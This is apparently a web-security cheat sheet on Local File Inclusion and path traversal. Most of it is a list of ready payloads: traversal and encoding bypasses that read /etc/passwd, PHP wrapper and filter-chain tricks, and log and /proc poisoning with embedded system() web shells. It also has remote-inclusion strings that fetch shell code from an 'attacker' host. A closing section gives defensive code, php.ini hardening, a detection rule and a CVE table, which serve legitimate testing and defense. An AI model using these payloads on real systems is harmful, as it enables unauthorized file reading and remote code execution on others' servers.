Local File Inclusion (LFI) and path traversal abuse user-controlled file paths to read or execute files outside the intended directory. This cheat sheet covers the canonical traversal payloads, encoding bypasses, PHP wrappers (php://filter, phar://, data://, expect://), Synacktiv filter-chain LFI2RCE, log and /proc poisoning, RFI variants, and the canonical-path defenses that hold up in 2026.
LFI commonly escalates to remote code execution through PHP filter chains, phar:// metadata deserialization, log poisoning, or /proc/self/environ injection. The most reliable defenses combine an allowlist mapping of file IDs to server-side paths with a base directory plus canonical-path check, and never pass user input directly to include, require, fopen, or File.open.
Inject ../ sequences into a path parameter to escape the intended directory. Variants include absolute paths, excess segments, encoding tricks, and trailing-suffix bypasses for filters that strip ".." once.
?file=../../../etc/passwd
Walks up from the application directory to root and reads /etc/passwd, which is world-readable on Linux and has a stable shape that confirms the primitive.
?file=/etc/passwd
Defeats sanitizers that strip ".." but happily accept absolute paths; many template-loader patterns are vulnerable to this exact case.
?file=..\..\..\windows\win.ini
Windows-style backslashes plus a tiny predictable target file (win.ini) confirm the primitive and the target OS in one shot.
?file=../../../../../../../../etc/passwd
Most filesystems collapse extra ../ segments at the root; useful when the application prepends an unknown number of directory components.
?file=/var/www/images/../../../etc/passwd
Defeats validators that require the path to start with an allowed base directory but never canonicalize before the filesystem call.
?file=....//....//etc/passwd
If the sanitizer strips ".." or "../" exactly once, the remaining "..//" collapses back to "../" on second pass through the filesystem.
?file=..%2f..%2f..%2fetc%2fpasswd
Naive substring filters that match literal "../" miss URL-encoded variants that the underlying file API still resolves correctly.
?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
Encodes both dots and slashes; defeats "decode then check" filters that only consider the post-decoded ASCII form.
?file=%252e%252e%252f%252e%252e%252fetc%252fpasswd
Server decodes once (validation passes), then a downstream component decodes again before reaching the file API, producing valid traversal at the last hop.
?file=..%c0%af..%c0%afetc%c0%afpasswd
%c0%af is an over-long UTF-8 encoding of "/" that bypasses old IIS and any validator that does not enforce strict UTF-8.
?file=..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd
U+FF0F fullwidth solidus normalises to "/" under NFKC; validators running on raw bytes accept the input but the OS path API resolves the canonical form.
?file=../../../etc/passwd%00.png
On legacy PHP and Perl runtimes, %00 terminates the C-string before the appended ".png" extension is appended, neutralising suffix checks.
?file=../../../etc/passwd/.
Trailing "/." preserves a "file" shape for validators that require one but is collapsed by the kernel during open() resolution.
?file=../../../etc/passwd%23
Languages whose path libraries treat "#" as a fragment delimiter discard everything that follows, dropping any suffix the application planned to append.
Older language runtimes and C-string-derived path APIs truncate at NUL bytes, ignore trailing dots, or fail to handle MAX_PATH overflow, exposing the appended-extension class of bypasses.
?page=../../../etc/passwd%00
PHP < 5.3.4 and Perl truncate the C-string at NUL before the runtime appends ".php", reading the bare /etc/passwd instead.
?page=../../../etc/passwd%2500
Useful when a reverse proxy decodes once and forwards the result; the second decode at the application layer produces the truncating NUL.
?page=../../../etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
PHP path APIs silently truncate at MAX_PATH on some platforms, dropping the appended extension when the input fills the buffer.
?page=../../../etc/passwd.
Some filesystems strip a trailing dot during resolution, defeating logic that appends ".php" because the result still resolves to the bare file.
?page=../../../etc/passwd/././././
Long sequences of "/." entries cause some Windows path normalisers to truncate, dropping the ".php" appended after the user input.
PHP exposes stream wrappers that turn an LFI primitive into source disclosure or arbitrary code execution. Filter chains pioneered by Synacktiv work even without allow_url_include.
?file=php://filter/convert.base64-encode/resource=index.php
Reads the PHP source as base64 without executing it, perfect for source recon and finding additional vulnerabilities.
?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
Same wrapper applied to a system file; useful when binary or non-printable bytes break the response.
?file=php://input
When allow_url_include=On, the request body is treated as PHP source. POST <?php system($_GET['c']); ?> and trigger via ?c=id.
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
Decodes to <?php phpinfo(); ?> and executes inline; needs allow_url_include=On but does not require any external host.
?file=expect://id
Triggers the PECL expect extension; rare in production but immediate RCE wherever it is installed.
?file=zip:///tmp/upload.zip%23shell.php
Includes a file inside a ZIP that the attacker uploaded; the wrapper splits at "#" and selects the inner entry to execute.
?file=phar:///tmp/upload.phar/test.txt
Any filesystem function call on a phar:// URL triggers metadata unserialize, firing any matching PHP gadget chain in scope.
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-decode/resource=php://temp
Chains convert.iconv plus base64-decode plus base64-encode to coerce arbitrary bytes from any opened resource and feed the result back into include — RCE without allow_url_include and without writing a file.
?file=php://filter/convert.iconv.UTF7.UTF8/resource=...
Re-encodes the chain output to drop "=" padding and align Base64 bytes to the attacker-controlled value sequence.
?file=php://filter/string.rot13/resource=index.php
ROT13 transforms the source so PHP cannot interpret it, leaking the file contents without executing them — handy when the application errors on raw <?php tags in output.
?file=glob:///var/www/html/*
glob:// expands shell-style wildcards, enabling directory enumeration through any function that opens streams.
Inject PHP into a log file the application later includes. Any logged endpoint that records User-Agent, request path, SSH banner, or SMTP body becomes an injection sink when the log path is includable.
User-Agent: <?php system($_GET["c"]); ?>
Sends a request whose User-Agent header is logged verbatim into access.log. Any subsequent include of access.log executes the embedded PHP.
?file=../../../var/log/apache2/access.log&c=id
Pulls the poisoned log into the application; the embedded <?php tag executes inline and the c parameter selects the command.
ssh '<?php system($_GET[0]); ?>'@target
Failed SSH login banners are stored in /var/log/auth.log; injecting PHP via the SSH username writes attacker-controlled bytes into a log the include sink can reach.
?file=/var/log/auth.log&c=id
Pairs with the poisoned SSH banner; same RCE primitive against an alternate log path that is often readable when access.log is locked down.
SMTP RCPT TO: user, DATA: <?php system($_GET["c"]); ?>
Mail bodies for local users land in /var/mail/<user> and are readable by the web user on permissive default configs.
?file=/proc/self/fd/<n>&c=id
Useful when the access.log path is unknown but the worker process holds the log open as file descriptor N — works against custom logging setups.
When /proc/self/environ is world-readable and the include sink is the running PHP process, injecting PHP via the User-Agent header and including the env file produces RCE without writing anywhere on disk.
?file=/proc/self/environ&c=id (with User-Agent: <?php system($_GET["c"]); ?>)
/proc/self/environ exposes HTTP_USER_AGENT verbatim; including it into the running PHP process executes the injected tag.
?file=/proc/self/cmdline
Sometimes leaks credentials passed on the command line (DB DSNs, API keys) when the supervisor spawns the process with secrets in argv.
?file=/proc/self/fd/0
The worker's stdin file descriptor — useful for FastCGI / FPM races where the attacker can feed bytes into the pipe.
?file=/proc/<pid>/cmdline
In containerised PHP/Java apps, log poisoning often shifts to inspecting container PIDs whose cmdline includes secrets passed at exec time.
Remote File Inclusion when allow_url_include=On lets the include() target be a remote URL. On Windows, UNC paths smuggle remote includes even when allow_url_* is off because the path looks "local" to the runtime.
?file=http://attacker/shell.txt
Fetches attacker-hosted PHP and executes it inline; the canonical RFI payload from the allow_url_include=On era.
?file=//attacker/shell.txt
Some applications prepend "https:" to user input; scheme-relative paths still resolve to the attacker host.
?file=\\attacker\share\shell.php
UNC paths look like local filesystem calls, so include() honours them even when allow_url_include=Off — works on Windows IIS and Apache hosts.
?file=ftp://attacker/shell.txt
Alternate scheme handler that some applications fail to blocklist alongside http:// and https://.
Per-OS path quirks that defeat naive validators — Windows accepts both / and \, has reserved names, UNC paths, 8.3 short-name aliases, and a case-insensitive filesystem; Linux exposes /proc virtual files and is strictly case-sensitive.
?file=..\..\..\windows\system32\drivers\etc\hosts
Backslash-only path slips past validators that only filter forward slashes; Windows resolves both delimiters identically.
?file=..%5c..%5c..%5cboot.ini
Encoded backslashes evade substring filters and target XP-era marker files that confirm the OS at a glance.
?file=C:\Windows\win.ini
Defeats relative-only filters and confirms the primitive against a tiny predictable target file.
?file=PROGRA~1\appname\config.xml
Bypasses long-name allowlists since the 8.3 alias resolves to the same file on disk.
?file=\\?\C:\windows\win.ini
The \\?\ prefix tells the Win32 API to skip MAX_PATH normalisation, evading validators that depend on canonicalisation rejecting overlong inputs.
?file=/etc/passwd/
Some validators stat the path and reject directories; open() accepts the trailing slash on a regular file in certain libc paths, exposing the read.
Modern PHP-specific chains turn a pure file-read primitive into RCE without writing a file or enabling allow_url_include — the relevant bar for 2024-2026 testing.
?file=phar://uploads/avatar.jpg/x
A polyglot file that is both a valid JPEG and a valid phar; metadata unserialize fires when any FS function opens the phar:// URL, executing whatever gadget chain is in scope.
?file=php://filter/<long iconv chain>/resource=php://temp
Synacktiv's tool emits a long iconv chain that synthesises arbitrary PHP from nothing, then feeds it into include — RCE without writing a file or enabling remote includes.
?file=php://filter/<wrapwrap chain>/resource=...
Lexfo's wrapwrap technique adds controlled prefix and suffix bytes around the target file content, satisfying parsers (XML, JSON, PNG header) that gate the include.
Chain convert.iconv plus convert.base64-decode plus convert.base64-encode to coerce arbitrary bytes from any opened resource (including php://temp) and feed the result back into include. Works without allow_url_include and without writing a file. Tooling: synacktiv/php_filter_chain_generator.
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...|convert.base64-decode/resource=php://temp
Extension of the filter-chain technique that prepends and appends arbitrary bytes around the target file content. Used to satisfy strict parsers (XML, JSON, PNG headers) that gate the include sink — turning the chain into a much more reliable LFI2RCE primitive.
Any FS function call (file_exists, fopen, file_get_contents, md5_file, filesize, getimagesize) on a phar:// URL triggers metadata deserialization. Polyglot phar-in-JPG turns a benign image upload plus LFI sink into RCE via any matching gadget chain. Original: Sam Thomas, BH USA 2018; still actively exploited in 2024-2026.
phar://uploads/avatar.jpg/x
Fullwidth solidus (U+FF0F → %ef%bc%8f), over-long UTF-8 (%c0%af), Right-to-Left override, and NFKC-normalisation rounds where validation runs on raw bytes but the OS path API normalises to the canonical form. Recurrent across Go, Python, .NET, and Node libraries — CVE-2024-13059 (AnythingLLM via multer) is a recent Node example.
In containerised PHP/Java apps, includable log paths shift to /var/log/containers/<pod>_<ns>_<container>-<id>.log and /proc/<pid>/cmdline. Log-poisoning still works if logs are bind-mounted into the application container, just at a different path than classic Apache/Nginx attacks.
Functional WebMvc.fn / WebFlux.fn route handlers stripped path segments inconsistently, allowing traversal in static-resource serving. A non-PHP example demonstrating that path-traversal bypass patterns are not language-bound.
LiteStar (CVE-2024-32982), Next.js next/image, and several Go frameworks repeatedly ship static-file handlers that allow ".." in the path before resolving against the configured root. The bug is always the same: missing canonical-path-then-contains check.
SimpleHelp CVE-2024-57726 — admin-uploaded ZIPs with "../" entries write outside the extraction root. Family includes Tar Slip and PAX-header tricks; weaponised in the wild and listed on CISA KEV in January 2025.
Never pass user input to include / require / fopen / File.open / readFile. Use a server-side mapping table from a known ID to a fixed path. Eliminates the entire path-traversal class because the path never travels through user input.
// Bad: user input drives the path.
const { name } = request.query;
return fs.readFile('/var/lib/docs/' + name + '.html');
// Good: ID maps to a fixed path.
const DOCS: Record<string, string> = {
'manual': '/var/lib/docs/manual.html',
'release-notes': '/var/lib/docs/release-notes.html',
};
const { id } = request.query;
const path = DOCS[id];
if (!path) return new Response('not found', { status: 404 });
return fs.readFile(path);When a path must be derived from user input, resolve the candidate to an absolute canonical path and verify it starts with the configured base directory and is on the same filesystem. The canonical-then-contains check is the only defence that holds up against Unicode and double-encoding bypasses.
import java.io.File;
import java.io.IOException;
import java.nio.file.Path;
public File safeResolve(String userInput) throws IOException {
File baseDir = new File("/var/lib/docs").getCanonicalFile();
File requested = new File(baseDir, userInput).getCanonicalFile();
Path basePath = baseDir.toPath();
if (!requested.toPath().startsWith(basePath)) {
throw new SecurityException("path escapes base dir: " + requested);
}
return requested;
}Eliminates the entire RFI class and most data:// / php://input chains in one setting. Where possible, also restrict phar:// — rely on --disable-phar in PHP builds or PHP 8 stream-wrapper restrictions, since disable_functions cannot stop wrapper-based deserialization.
; /etc/php/8.3/fpm/php.ini allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/html:/tmp disable_functions = exec,passthru,shell_exec,system,proc_open,popen,expect_open ; In PHP 8.x with custom builds, also disable phar wrapper: ; --disable-phar at compile time, or restrict via stream_wrapper_unregister.
If user input drives a filename, allowlist to a known set, or hash/UUID the storage filename and store the original name as metadata. Prevents the attacker from ever naming the file the application opens.
import { randomUUID } from 'node:crypto';
import path from 'node:path';
export async function storeUpload(originalName: string, contents: Buffer) {
const ext = path.extname(originalName).toLowerCase();
if (!['.png', '.jpg', '.pdf'].includes(ext)) {
throw new Error('extension not allowed');
}
const storedName = randomUUID() + ext;
const storedPath = path.join('/srv/uploads', storedName);
await fs.writeFile(storedPath, contents);
await db.insert(uploads).values({ storedName, originalName });
return storedName;
}Run user input through Unicode NFKC normalisation, then re-check for forbidden sequences. Any path component containing "..", NUL, control chars, fullwidth equivalents, or backslash on Linux is rejected outright before the path reaches the filesystem.
Run the web process as a low-privilege user; chroot or use systemd ProtectSystem=strict / ReadOnlyPaths so /etc/shadow, /proc/self/environ, /var/mail, and /var/log are unreadable. Reduces blast radius even when an LFI primitive exists.
Use immutable container images and mount user-uploaded paths noexec. phar-via-image-upload becomes much harder when the upload directory is on a noexec mount and the include sink rejects non-allowlisted prefixes.
Strip control characters from User-Agent, Referer, and any other header before writing to logs. Better: use structured / JSON logs that escape "<", ">", and "?". Neutralises log poisoning even if an attacker reaches a log path through traversal.
Alert on includes of paths under /proc/self/, /var/log/, /var/mail/, or any path containing "..", "%00", php://, phar://, data://, expect://, zip://. These almost never appear in benign traffic and are a high-signal LFI indicator.
| CVE | Year | Title | Description |
|---|---|---|---|
| CVE-2024-2928 | 2024 | MLflow pre-auth LFI | Pre-auth arbitrary file read via URI fragment manipulation in MLflow ≤ 2.11.2. Demonstrated against AI-platform deployments where MLflow holds model artefacts and credentials. |
| CVE-2024-32982 | 2024 | LiteStar / Starlite static-files path traversal | Static-file mount allowed escape outside the configured directory due to insufficient canonicalisation before resolving the requested path. |
| CVE-2024-38819 | 2024 | Spring Framework path traversal in WebMvc.fn / WebFlux.fn | Functional route handlers serving static resources stripped path segments inconsistently, exposing files outside the configured root. |
| CVE-2024-13059 | 2024 | AnythingLLM path traversal to RCE | Non-ASCII filename handling in the multer Node library led to traversal and RCE in AnythingLLM versions before 1.3.1. Disclosed Feb 2025; a recent Node-side filter-chain-style bypass. |
| CVE-2024-57726 | 2024 | SimpleHelp Zip Slip | Admin-only file write anywhere via crafted ZIP entries with "../" prefixes. Subsequently weaponised in the wild and listed on CISA KEV in January 2025. |
| CVE-2024-3573 | 2024 | MLflow path traversal (additional primitive) | A second path-traversal primitive in MLflow disclosed alongside CVE-2024-2928. Shows how a single project can ship multiple traversal sinks before audit catches them. |
| Synacktiv filter-chain LFI2RCE | 2024 | PHP filter chain — pure-LFI to RCE without allow_url_include | Synacktiv published a chain of convert.iconv plus convert.base64-decode plus convert.base64-encode that turns any include() of a php://filter URL into RCE without writing a file. The technique drives a wave of 2024-2026 PHP RCE chains. |
| Lexfo wrapwrap | 2024 | wrapwrap — prefix/suffix filter chains for parser-strict LFI sinks | Lexfo extended the Synacktiv chain with controlled prefix and suffix bytes so the include can satisfy strict XML/JSON/PNG parsers gating the sink. Re-enabled filter-chain RCE in many otherwise-mitigated 2024 targets. |